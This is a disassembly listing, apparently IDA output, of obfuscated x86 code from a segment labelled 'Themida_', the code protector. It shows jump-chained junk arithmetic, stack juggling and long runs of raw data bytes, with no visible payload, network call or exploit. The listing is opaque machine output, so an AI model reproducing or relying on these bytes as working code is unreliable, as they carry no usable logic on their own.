		db 0E9h, 3Eh, 52h
		dd 0BB53FFFFh, 2F1244B8h, 0FF9670E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A6B5:				; CODE XREF: Themida_:0055617Fj
		push	dword ptr [esp]
		pop	edi
		jmp	loc_557A20
; ---------------------------------------------------------------------------


loc_55A6BE:				; CODE XREF: Themida_:005509B3j
		dec	ebx
		xor	ebx, 711116h
		add	ebx, 733B7E46h
		shr	ebx, 3
		add	ebx, 21FCB310h
		add	ecx, ebx
		jmp	loc_556DEC
; ---------------------------------------------------------------------------
		db 66h
		dd 66CCB60Fh, 0E90A8E68h, 0FFFF811Ah, 5C24048Fh, 89243C89h
		dd 4C781E7h, 52000000h,	0C281E289h, 4, 4BE56h, 0C2810000h
		dd 44436138h, 0FFCEA0E9h, 24148BFFh, 0A21DE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A71A:				; CODE XREF: Themida_:0055298Ej
		push	esi
		push	ebx
		push	edi
		jmp	loc_55059C
; ---------------------------------------------------------------------------


loc_55A722:				; CODE XREF: Themida_:00556537j
		sub	esi, 8F891E70h
		sub	ebx, 32C14AE8h
		sub	ebx, esi
		add	ebx, 32C14AE8h
		pop	esi
		jmp	loc_558F71
; ---------------------------------------------------------------------------


loc_55A73C:				; CODE XREF: Themida_:005530A0j
		push	esp
		jmp	loc_55B27B
; ---------------------------------------------------------------------------
		dw 5Bh
		dd 1BE959EBh
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A74B:				; CODE XREF: Themida_:00551B83j
		xchg	eax, [esp]
		jmp	loc_55431E
; ---------------------------------------------------------------------------
		db 89h
		dd 90682404h, 5850A510h, 0E955E0D1h, 0FFFFB4D6h, 205h
		dd 2DE95000h, 5FFFF64h,	37B2569Ah, 78402F05h, 2DC8010Fh
		dd 0F78402Fh, 0FFC2BCE9h, 0B5BE56FFh, 89379B65h, 0BA525EF0h
		dd 30052E23h, 0C245401h, 0FFF85DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A79D:				; CODE XREF: Themida_:00555AD7j
		add	ecx, 53867622h
		neg	ecx
		push	ebp
		jmp	loc_5574CF
; ---------------------------------------------------------------------------
		db 81h
		dd 0BB18B1EDh, 5DE889E2h, 0CD39B951h, 192DF078h, 0E94E7A7Ch
		dd 0FFFFB863h
; ---------------------------------------------------------------------------


loc_55A7C4:				; CODE XREF: Themida_:005585E6j
		or	ebp, edi
		pop	edi
		jmp	loc_558D78
; ---------------------------------------------------------------------------


loc_55A7CC:				; CODE XREF: Themida_:0055268Ej
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	dword ptr [esp]
		xchg	edi, ebx
		sub	esp, 4
		mov	[esp], edi
		not	dword ptr [esp]
		pop	edi
		xchg	edi, ebx
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		mov	eax, [esp]
		jmp	loc_556267
; ---------------------------------------------------------------------------
		dd 6824248Bh, 1F0Fh, 0BF243C89h, 2, 0AEE9FB29h,	8FFFFF8Ch
		dd 248B2404h, 0C8856624h, 50C6E99Ch, 0F301FFFFh, 4C3815Eh
		dd 33000000h, 1C31241Ch, 241C3324h, 0FF93A8E9h,	240C33FFh
		dd 0FFCEDFE9h, 0F7564EFFh, 815E2414h, 1C6h, 78C68100h
		dd 2D7CE052h, 4CC754C7h, 0C705F001h, 5E4CC754h,	8704C083h
		dd 815C2404h, 0BB2C6CC7h, 4EC8120h, 0E9000000h,	0BADh
		dd 0B0240489h, 0C0FF2C5Fh, 0B65202E8h, 0E9DEF602h, 0FFFFBA6Ah
; ---------------------------------------------------------------------------


loc_55A88C:				; CODE XREF: Themida_:005516EAj
		sub	ebp, edx
		mov	edx, ebp
		pop	ebp
		jmp	loc_5567C2
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 108Ah, 5046E95Ch, 0BF57FFFFh, 44A84E49h, 16A2F781h
		dd 0FE01214Dh, 0E9C6015Fh, 0FFFFB1DEh
; ---------------------------------------------------------------------------


loc_55A8B8:				; CODE XREF: Themida_:00550200j
		mov	esi, 0DE87711h
		sub	esi, 0DE8770Dh
		add	ebp, esi
		pop	esi
		jmp	loc_559E18
; ---------------------------------------------------------------------------
		db 8Bh
		dd 14892424h, 0E99C5024h, 0FFFF76A1h
; ---------------------------------------------------------------------------


loc_55A8D8:				; CODE XREF: Themida_:00550EE5j
		push	eax
		mov	al, 89h
		jmp	loc_55046E
; ---------------------------------------------------------------------------
		dd 89243489h, 4B850E6h,	1000000h, 0C9BBE9C6h, 34FFFFFFh
		dd 240C8B24h, 4C481h, 0AFE90000h, 5AFFFF73h, 0FFDBAEE9h
		dd 74FF51FFh, 8F590424h, 248B2404h, 0BB0F6624h,	0E99C2404h
		dd 0FFFF4FC8h
; ---------------------------------------------------------------------------


loc_55A920:				; CODE XREF: Themida_:00551E18j
		push	esp
		jmp	loc_557990
; ---------------------------------------------------------------------------
		dw 159h
		dd 0BECBE9D8h, 0E181FFFFh, 74A96494h, 0FFEB32E9h, 24248BFFh
		dd 80ABB652h, 0EE800BE6h, 0EEB8018h, 0E952F300h, 0FFFFDF90h
		dd 48B665Ch, 5F545724h,	4C781h,	0EF680000h, 89000001h
		dd 2BA2414h, 81000000h,	7B2569EFh, 97EF8147h, 11F6531h
		dd 0C6BE56D7h, 0D1117C5Fh, 7C10E9EEh, 0C481FFFFh, 4, 8B2434FFh
		dd 0C4812414h, 4, 8104C483h, 77974C2h, 4F42E947h, 0C481FFFFh
		dd 2, 2806B551h, 0D02859E8h, 50525366h,	36E9D4B4h, 0E9FFFFB3h
		dd 0FFFF4F24h
; ---------------------------------------------------------------------------


loc_55A9C4:				; CODE XREF: Themida_:005589FBj
		mov	edx, 4
		jmp	loc_55605F
; ---------------------------------------------------------------------------
		dw 0C231h
		dd 1C570958h, 4F0EE95Ah, 0C8BFFFFh, 4EC8324h, 89242C89h
		dd 0C1BA52E5h, 0F7150F19h, 40CA81DAh, 813DF81Eh, 0F8FE7BF2h
		dd 75C581FFh, 177A222h,	6ECBE9D5h, 0E95DFFFFh, 0FFFF87B1h
; ---------------------------------------------------------------------------


loc_55AA0C:				; CODE XREF: Themida_:0055BC51j
		push	edx
		push	0A6Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ebx
		mov	ebx, 5EBD1F9Eh
		xor	ebx, 6F177DE8h
		or	ebx, 5A630A51h
		and	ebx, 5DA607E5h
		jmp	loc_551FA9
; ---------------------------------------------------------------------------
		dw 0E635h
		dd 6828991Eh, 7E0Fh, 56243C89h,	6DEC21BEh, 0E9F789C6h
		dd 3EBh
; ---------------------------------------------------------------------------


loc_55AA54:				; CODE XREF: Themida_:0054FBAEj
		pop	esp
		mov	[esp], ebx
		sub	dword ptr [esp], 61C4040h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_553A36
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0FFFF90C4h, 2BFAE281h, 0C28174B8h, 9FEC40A3h
		dd 815AD309h, 1EBh, 0C1D3F700h,	0C38102EBh, 0C51F3E6Ah
		dd 0BDE9DD89h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AA9B:				; CODE XREF: Themida_:00550080j
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55970E
; ---------------------------------------------------------------------------


loc_55AAA6:				; CODE XREF: Themida_:0054FB7Bj
		shr	edx, 7
		dec	edx
		shl	edx, 4
		sub	edx, 55CE5C5Eh
		and	edx, 4EE63BCAh
		jmp	loc_553522
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 64921A57h, 0CE81DEF7h, 6BEF6FE6h, 0FF560DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AAD1:				; CODE XREF: Themida_:00552CCAj
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	eax
		push	edi
		push	21994DBFh
		pop	edi
		add	edi, 0DD427E8h
		jmp	loc_55A2F6
; ---------------------------------------------------------------------------
		dw 0DC88h
		dd 5B2434FFh, 26DE9h, 3C316600h, 3C336624h, 3C316624h
		dd 2EC8324h, 243C8966h,	40736866h, 240C8966h, 8B665F66h
		dd 0C483240Ch, 0E9916602h, 0FFFFF93Ah, 8C98BF57h, 8157BD2Bh
		dd 3C282404h, 2D58370Ch, 370C3C28h, 56EA815Fh, 123945Bh
		dd 900E9C2h, 34FF0000h,	24048B24h, 0FFE4A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AB5D:				; CODE XREF: Themida_:00551600j
		mov	edx, esi
		pop	esi
		jmp	loc_558962
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 2BFh, 5FFB0100h, 31241C33h, 1C33241Ch, 0CD35C24h, 65E99C24h
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AB83:				; CODE XREF: Themida_:005543D7j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		jmp	loc_55403C
; ---------------------------------------------------------------------------
		db 0C1h, 0EFh, 2
		dd 0F13CEF81h, 0FB310A21h, 0FFA5D7E9h, 15B5AFFh, 48759C8h
		dd 5E9CE924h, 15FFFFFh,	57B4E9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ABB6:				; CODE XREF: Themida_:0055701Ej
		pop	esp
		mov	[esp], ebp
		push	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	esp, 4
		add	ebp, 4
		push	esi
		mov	esi, 1DA61474h
		neg	esi
		xor	esi, 0E259EB8Eh
		add	ebp, esi
		pop	esi
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 48FD50A4h
		shl	edx, 6
		push	4218h
		mov	[esp], ecx
		push	edi
		jmp	loc_554231
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0AC685824h, 89000015h, 0E2892414h, 4EC81h, 1C890000h
		dd 6C60BB24h, 47E95AFEh
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AC33:				; CODE XREF: Themida_:00559A52j
		push	ecx
		mov	ecx, 8B17CBD6h
		jmp	loc_55B55A
; ---------------------------------------------------------------------------
		dw 505Ah
		dd 1B496FB8h, 53B0E94Eh, 0C2DFFFFh, 0E93FB460h,	0FFFFEB60h
		dd 8013B353h, 0CBFEE3EBh, 0F604E3C0h, 98F380DBh, 0FFCF92E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AC69:				; CODE XREF: Themida_:00556E61j
		or	ebp, 303624E8h
		and	ebp, 492E467Bh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 18D363EDh
		sub	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_557134
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 42B25224h, 0FFD9D5E9h, 4C4EE9FFh, 0D0F7FFFFh, 686BF805h
		dd 61C281E9h, 1024E54h,	61EA81C2h, 8B024E54h, 71E92404h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ACB7:				; CODE XREF: Themida_:0055BA83j
		mov	esi, [esp]
		jmp	loc_558440
; ---------------------------------------------------------------------------


loc_55ACBF:				; CODE XREF: Themida_:0055AFECj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 64EA4213h
		shl	eax, 4
		push	edx
		mov	edx, 58357A78h
		or	eax, edx
		pop	edx
		sub	eax, 1
		push	edi
		mov	edi, 24087C95h
		sub	edi, 71E575E9h
		shl	edi, 7
		sub	edi, 7038D175h
		add	eax, 424960F8h
		jmp	loc_555959
; ---------------------------------------------------------------------------
		dw 515Bh
		dd 4BB53h, 0D9890000h, 9B6BE95Bh, 0E889FFFFh, 0FF7981E9h
		dd 0CEE681FFh, 0D11BF140h, 15EE81EEh, 81493261h, 0EDD568EEh
		dd 5EF28942h, 0FFC4B2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AD39:				; CODE XREF: Themida_:005588AFj
		pop	eax
		add	edx, eax
		add	edx, 62FD1F5Dh
		pop	eax
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_54F9CB
; ---------------------------------------------------------------------------
		dw 0DEBFh
		dd 0BE31A82Fh, 4CF94766h, 0E9h,	5FFE0100h, 0AB43C681h
		dd 0F089C3F8h, 9EBCE95Eh, 8951FFFFh, 4C181E1h, 81000000h
		dd 4C1h, 6DBBE900h, 5051FFFFh, 6E07F9B8h, 44CA2527h, 0D8F73923h
		dd 85610505h, 27E94833h, 53FFFFB0h, 0C38093B3h,	5BDC88B3h
		dd 8850C480h, 97BFE9E2h, 0E6C1FFFFh, 23EE8105h,	466DAB58h
		dd 4D96CE81h, 0C6814DB0h, 34BD582Fh, 0B8E9F221h, 50000010h
		dd 4EA26852h, 815A5507h, 74E9EEAh, 5AD08955h, 5358C101h
		dd 0DA5D36BBh, 56E9553Bh, 58FFFFB0h, 51E95A66h,	66FFFFE1h
		dd 0B3241C89h, 0C2C28042h, 0EA80DA28h, 285B66C2h, 2434FFD0h
		dd 8324148Bh, 0C48104C4h, 4, 5EE9C330h,	6800000Fh, 5CEEh
		dd 83242489h, 8B042404h, 0C481240Ch, 4,	4C181h,	0D3E90000h
		dd 5EFFFF79h, 0FFDDD6E9h, 102CB9FFh, 5B51636Dh,	6BE22D59h
		dd 9D052212h, 295C2A3Ah, 0B7BE56D8h, 0E9457347h, 0FFFF8675h
		dd 5C240C87h, 0FFC51BE9h, 0C8B66FFh, 0C3685724h, 8900002Ah
		dd 4812424h, 424h, 2434FF00h, 8399E95Fh, 805AFFFFh, 0E9803AE1h
		dd 59CF888Bh, 5032C780h, 0E72819B4h, 8124048Bh,	4C4h, 5BF80000h
		dd 0FFF3D0E9h, 4119BEFFh, 0E6D16C7Ch, 0FFAAC4E9h, 0F70159FFh
		dd 0E924348Bh, 0FFFF59CBh, 4C481h, 0B1510000h, 59CA2896h
		dd 0D028882Ch, 0FF8C41E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AED9:				; CODE XREF: Themida_:00552A7Aj
		add	esi, 358D56D1h
		xor	esi, 4DBD62A3h
		shr	esi, 6
		xor	esi, 96F38C2h
		or	esi, 795E1042h
		xor	esi, 1F0FC75Ah
		sub	ebp, esi
		pop	esi
		jmp	loc_55B62E
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 0EEE95024h, 57FFFFE3h, 4BFh,	0F5E98100h, 294BFB57h
		dd 0F5C181F9h, 5F4BFB57h, 31240C33h, 0C33240Ch,	24248B24h
		dd 0E9240489h, 0FFFF49B4h, 66C0B70Fh, 0E9040168h, 0FFFFC2F1h
		dd 4106E9C1h, 87E9D9F7h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AF4B:				; CODE XREF: Themida_:00558766j
		add	edx, ecx
		pop	ecx
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55B09A
; ---------------------------------------------------------------------------


loc_55AF62:				; CODE XREF: Themida_:0055663Dj
		add	dword ptr [esp], 53234CBAh
		jmp	loc_553019
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 0C1000000h, 0E94007E8h, 0FFFF67A4h, 63B23B8h
		dd 0E9C7894Ah, 1Ah, 4C3835Eh, 726168h, 241C8900h, 42474FFh
		dd 24048F5Bh, 0AE8AE95Ch, 5058FFFFh, 2073E1B8h,	1382BB60h
		dd 3CE92DA4h, 89FFFF58h, 4C281E2h, 51000000h, 4B9h, 59CA0100h
		dd 0E9241487h, 0FFFF852Eh, 9D1C77FFh, 24041958h, 490AE99Ch
		dd 8B66FFFFh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		jmp	loc_55ACBF
; ---------------------------------------------------------------------------
		db 68h,	0C6h, 23h
		dd 3C890000h, 0E9E78924h, 0FFFF8412h, 4E3F68h, 24048900h
		dd 405E089h, 0E9000000h, 0FFFF87C2h
; ---------------------------------------------------------------------------


loc_55B014:				; CODE XREF: Themida_:00551DCAj
		push	esi
		push	esp
		push	dword ptr [esp]
		jmp	loc_559A15
; ---------------------------------------------------------------------------


loc_55B01E:				; CODE XREF: Themida_:00559466j
		xchg	edi, esi
		jmp	loc_55006A
; ---------------------------------------------------------------------------
		db 0F7h, 0D8h, 0E9h
		dd 0FFFFB6D7h
; ---------------------------------------------------------------------------


loc_55B02C:				; CODE XREF: Themida_:0055620Ej
		push	321Bh
		mov	[esp], esi
		mov	esi, 446D7ADBh
		xor	esi, 446D7ADFh
		add	eax, esi
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5531EA
; ---------------------------------------------------------------------------


loc_55B053:				; CODE XREF: Themida_:00559A70j
		mov	eax, 1C413945h
		mov	edx, eax
		pop	eax
		xor	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, ebx
		mov	eax, [edx]
		jmp	loc_5589A3
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFFD5A1h, 80B0ED80h
		dd 0F5800FC5h, 0E9A4E93Eh, 2C89FFFFh, 51E58924h, 5F26F4B9h
		dd 0FEA6E934h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B09A:				; CODE XREF: Themida_:0055AF5Dj
		sub	esp, 4
		jmp	loc_556749
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 4C481h, 0EE810000h, 6C3D270Fh, 6C7CE95Dh, 0EA83FFFFh
		dd 74FF5204h, 8F5A0424h, 0E95C2404h, 0FFFF9763h
; ---------------------------------------------------------------------------


loc_55B0CC:				; CODE XREF: Themida_:0054FF07j
		add	esp, 4
		sub	edx, 2F147EF4h
		pop	eax
		jmp	loc_556612
; ---------------------------------------------------------------------------


loc_55B0DE:				; CODE XREF: Themida_:005507C9j
		or	edx, eax
		jmp	loc_554EDC
; ---------------------------------------------------------------------------
		db 0E9h, 0FEh, 47h
		dd 6866FFFFh, 8966307Fh, 6AE9240Ch, 8BFFFFA4h, 0EC81240Ch
		dd 4, 0FF680DE9h, 241CF7FFh, 47DAE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B10E:				; CODE XREF: Themida_:00551122j
		not	edx
		inc	edx
		shl	edx, 8
		jmp	loc_5593FB
; ---------------------------------------------------------------------------
		db 0BBh, 0C8h, 1
		dd 0DD09340Fh, 4AE95Bh,	0C6810000h, 4, 0ACDE953h, 0B9680000h
		dd 8900004Dh, 0B82404h,	68000000h, 1461h, 8B240489h
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_553E27
; ---------------------------------------------------------------------------


loc_55B152:				; CODE XREF: Themida_:005503A7j
		mov	ebx, 76842387h
		jmp	loc_55173F
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 4C38100h, 0E9000000h, 0FFFF775Ah, 0BCBE564Dh
		dd 2138AA6Fh, 0C5815EF5h, 0CFD5D376h, 215D5955h, 34FF1C4Fh
		dd 25E95924h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B18F:				; CODE XREF: Themida_:005583A6j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	cx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	ebx, 6AFE4D90h
		inc	ebx
		xor	ebx, 2AAF1A27h
		and	ebx, 41D66DE0h
		add	ebx, 5C294C8Fh
		sub	ebx, 9C79922Dh
		mov	edx, ebx
		pop	ebx
		add	esi, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5564CF
; ---------------------------------------------------------------------------
		db 54h,	8Fh, 4
		dd 24048324h, 24348B04h, 4C481h, 0E9530000h, 0FFFF4BB5h
		dd 840FC90Bh, 0FFFFDD7Dh, 105068h, 4EC8100h, 54000000h
		dd 8324048Fh, 8F042404h, 0E2682404h, 8900002Eh,	68512414h
		dd 45AF6880h, 0FFF016E9h, 43FC68FFh, 24890000h,	24048324h
		dd 0B3E95B04h, 89FFFFC5h, 89505AD7h, 0E07CE9E0h, 5257FFFFh
		dd 0E1234768h, 39E95A1Bh
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B25F:				; CODE XREF: Themida_:0054FB0Ej
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		xor	dword ptr [esp], 32F23010h
		pop	ecx
		jmp	loc_55692A
; ---------------------------------------------------------------------------


loc_55B27B:				; CODE XREF: Themida_:0055A73Dj
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_54FAE2
; ---------------------------------------------------------------------------
		db 88h,	1, 8Bh
		dd 0E952240Ch, 0FFFF67FDh, 24048B66h, 4EC8152h,	89000000h
		dd 0BF572424h, 4, 4247C01h, 89E95A5Fh, 28FFFF4Ah, 0EB805AD3h
		dd 28232C5Ch, 0B15166D8h, 66C80023h, 81240C8Bh,	2C4h, 241C8B00h
		dd 6804C483h, 5B22h, 0B2241489h, 61CA8095h, 0E901C280h
		dd 0FFFFABE8h
; ---------------------------------------------------------------------------


loc_55B2E8:				; CODE XREF: Themida_:00559A59j
		pop	edx
		sub	eax, 236A4489h
		add	eax, ecx
		add	eax, 236A4489h
		pop	ecx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_558E87
; ---------------------------------------------------------------------------
		dd 0CC88505Bh, 48B2388h, 4C48324h, 0FFB380E9h, 0EC8356FFh
		dd 243C8904h, 2216FBBFh, 5E99BE71h, 0EE81EE10h,	6CDF7D95h
		dd 0C681FE29h, 6CDF7D95h, 0FFC389E9h, 752D5BFFh, 89FEB74Ah
		dd 0E7ECE9C1h, 0FF66FFFFh, 0ECBFE932h, 0DF01FFFFh, 322AEF81h
		dd 505B5F05h, 0F3E95756h, 8BFFFFF9h, 81E92424h,	0BEFFFF45h
		dd 2F4B3534h, 535EF109h, 0FFC7B3E9h, 48B66FFh, 58685024h
		dd 6800001Ch, 5C81h, 55242489h,	4BDh, 246C0100h, 48F5D04h
		dd 4B85024h, 1000000h, 58042444h, 76B95158h, 81277171h
		dd 0C07AA3C9h, 7B51E965h, 2DADFFFFh, 0FEF3835h,	6A9768h
		dd 241C8900h, 0FA7FE951h, 8F5CFFFFh, 0A1E92404h, 83FFFF98h
		dd 148704C2h, 4AE95C24h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B3DB:				; CODE XREF: Themida_:0055988Cj
		pop	esp
		neg	ebp
		jmp	loc_54FDE0
; ---------------------------------------------------------------------------
		db 59h
		dd 4BD55h, 0C1810000h, 496012C0h, 0E981E901h, 496012C0h
		dd 4EC835Dh, 0B8240489h, 4, 5927E981h, 0C1017577h, 5927C181h
		dd 51587577h, 42474FFh,	0D773E959h, 5359FFFFh, 4E1E9h
		dd 242C8900h, 0FFA1A9E9h, 0B4685AFFh, 89000052h, 0BE56240Ch
		dd 2691717Eh, 0FF7392E9h, 350559FFh, 530FEF38h,	0FA255BBBh
		dd 0EC48E93Ch, 0C281FFFFh, 23945B56h, 8CE9h, 0BCE98100h
		dd 813B256Dh, 0C2ECEEE9h, 73960572h, 2EE91EADh,	0ACFFFF9Eh
		dd 0B15153h, 0A32EE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B47E:				; CODE XREF: Themida_:00559683j
		add	ecx, edi
		pop	edi
		jmp	loc_559101
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5B0424h, 40E92404h
		db 6Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B493:				; CODE XREF: Themida_:00551E9Ej
		sub	eax, ecx
		sub	eax, 150C42F1h
		pop	ecx
		push	edx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_557E52
; ---------------------------------------------------------------------------
		db 33h
		dd 14312414h, 0C6CDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B4B2:				; CODE XREF: Themida_:005501B7j
		shl	edx, 1
		push	58FEh
		mov	[esp], ecx
		push	1169h
		mov	[esp], eax
		push	2CB30EB2h
		pop	eax
		and	eax, 50025170h
		push	ebx
		mov	ebx, 74EA341Bh
		jmp	loc_559A4F
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 5202C283h, 0FF5824E9h, 0D30958FFh, 5A2434FFh, 4C481h
		dd 0CB810000h, 4C9A7482h, 0F7FBEB81h, 0BFE97EDFh, 81FFFF83h
		dd 85255BF3h, 0F3F3815Ch, 535DA3F2h, 0F0243481h, 5D092B70h
		dd 0D747E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B522:				; CODE XREF: Themida_:00558294j
		mov	dl, 9Dh
		jmp	loc_55BF42
; ---------------------------------------------------------------------------
		align 2
		dw 4D8h
		dd 109C685Fh, 0C890000h, 0E9E2B524h, 0FFFF4E08h
; ---------------------------------------------------------------------------


loc_55B53C:				; CODE XREF: Themida_:00557179j
		mov	[esp], eax
		mov	ah, 20h
		jmp	loc_552052
; ---------------------------------------------------------------------------


loc_55B546:				; CODE XREF: Themida_:00551AB9j
		add	esp, 4
		jmp	loc_554527
; ---------------------------------------------------------------------------
		dw 2D66h
		dd 29666F3Fh, 7B7BE9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B55A:				; CODE XREF: Themida_:0055AC39j
		add	eax, 3A2465AFh
		sub	eax, 5FE135DEh
		add	eax, 2F4D320Dh
		add	eax, ecx
		sub	eax, 2F4D320Dh
		add	eax, 5FE135DEh
		sub	eax, 3A2465AFh
		pop	ecx
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5503BC
; ---------------------------------------------------------------------------
		dd 0E95DE901h, 0FFFFF977h, 24048B66h, 68A68h, 24148900h
		dd 81E18951h, 4C1h, 4E98100h, 0E9000000h, 0FFFFAD37h, 332CC381h
		dd 0DA89E2C0h, 0FFE30FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B5C1:				; CODE XREF: Themida_:0055919Bj
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_55257B
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 68550000h, 7400h, 0BB241C89h, 61F1324h, 5205EBC1h
		dd 91687FBAh, 0F482E97Ch, 0C381FFFFh, 5AB13686h, 0FF5B1DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B5FD:				; CODE XREF: Themida_:00558CD8j
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	1
		pop	edx
		and	eax, edx
		jmp	loc_5561F2
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 2Ch
		dd 0FFC18BE9h, 1EA968FFh, 14890000h, 42BAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B62E:				; CODE XREF: Themida_:0055AEFDj
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_55744E
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0A1E94047h, 66FFFF42h, 5624048Bh, 0C681E689h, 4, 0C8B95155h
		dd 522C6272h, 0DE1F26BAh, 9DEA8138h, 81367D3Ch,	7E26F0CAh
		dd 0F0F28178h, 215DE8A1h, 49495AD1h, 0E902E9C1h, 0FFFFC326h
		dd 0E924248Bh, 0FFFFABD3h, 0BE5F781h, 0EDE90771h, 5AFFFF7Bh
		dd 4C281h, 81510000h, 4ECh, 9F19E900h, 0C8BFFFFh, 4C48324h
		dd 0FF5932E9h, 0D5C281FFh, 4A0F5557h, 8106EAC1h, 7B90ABF2h
		dd 5AD3895Eh, 0FF9536E9h, 8BCE29FFh, 0C483240Ch, 54A36804h
		dd 3C890000h, 0DEEDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B6DE:				; CODE XREF: Themida_:00556FF4j
		push	ebp
		jmp	loc_5540DA
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 240C8700h, 6624248Bh, 2404BB0Fh, 41EAE99Ch
		dd 5F2CFFFFh, 0FFFE24E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B705:				; CODE XREF: Themida_:00552920j
		mov	ebx, 15EF5F06h
		push	ebp
		push	edx
		push	ecx
		push	20BE2A3Bh
		jmp	loc_5591BA
; ---------------------------------------------------------------------------
		db 51h
		dd 0FF6C77E9h, 9C5066FFh, 0FF41C3E9h, 0E95366FFh, 0FFFF7DE9h
; ---------------------------------------------------------------------------


loc_55B72C:				; CODE XREF: Themida_:00556D9Dj
		mov	[esp], edi
		jmp	loc_552A28
; ---------------------------------------------------------------------------


loc_55B734:				; CODE XREF: Themida_:0054FC37j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	55C9h
		mov	[esp], edx
		push	esp
		jmp	loc_54FEA2
; ---------------------------------------------------------------------------


loc_55B74E:				; CODE XREF: Themida_:00559B2Dj
		push	esi
		dec	dword ptr [esp]
		pop	esi
		neg	esi
		xor	esi, 68182993h
